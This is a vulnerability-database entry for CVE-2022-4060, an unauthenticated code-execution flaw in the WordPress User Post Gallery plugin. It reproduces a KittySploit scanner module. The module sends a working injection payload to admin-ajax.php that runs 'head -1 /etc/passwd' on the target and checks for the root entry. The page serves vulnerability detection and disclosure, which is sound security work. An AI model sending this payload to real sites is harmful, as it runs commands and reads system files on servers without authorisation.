WordPress User Post Gallery <=2.19 - Remote Code Execution Detection
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| The vulnerability of the User Post Gallery plugin of the WordPress content management system allows a hacker to execute arbitrary code. | 21 Dec 202300:00 | – | bdu_fstec | |
| CVE-2022-4060 | 16 Jan 202318:24 | – | circl | |
| WordPress plugin User Post Gallery 代码注入漏洞 | 16 Jan 202300:00 | – | cnnvd | |
| CVE-2022-4060 | 16 Jan 202315:38 | – | cve | |
| CVE-2022-4060 User Post Gallery <= 2.19 - Unauthenticated RCE | 16 Jan 202315:38 | – | cvelist | |
| UPGer | 16 Oct 202601:02 | – | kitploit | |
| WordPress User Post Gallery <=2.19 - Remote Code Execution | 15 Oct 202602:05 | – | nuclei | |
| CVE-2022-4060 | 16 Jan 202316:15 | – | nvd | |
| CVE-2022-4060 | 16 Jan 202316:15 | – | osv | |
| Code injection | 16 Jan 202316:15 | – | prion |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress User Post Gallery plugin through 2."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress User Post Gallery <=2.19 - Remote Code Execution Detection',
'description': 'WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2022', 'unauth', 'wpscan', 'rce', 'wordpress', 'wp-plugin', 'wp', 'wp-upg', 'odude', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://wpscan.com/vulnerability/8f982ebd-6fc5-452d-8280-42e027d01b1e',
'https://wordpress.org/plugins/wp-upg/',
'https://nvd.nist.gov/vuln/detail/CVE-2022-4060',
'https://github.com/im-hanzou/UPGer',
'https://github.com/nomi-sec/PoC-in-GitHub',
],
'cve': 'CVE-2022-4060',
}
def run(self):
r = self.http_request(method="GET", path='/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('recordsFiltered',)
header_any = ('application/json',)
body_regexes = ('root:.*:0:0:',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='critical',
reason="WordPress User Post Gallery <=2.19 - Remote Code Execution detected",
path='/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL',
)
return True
return False
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28 Jul 2026 11:27Current
9.1Critical risk
Vulners AI Score9.1
CVSS 3.19.8
EPSS0.42723
SSVC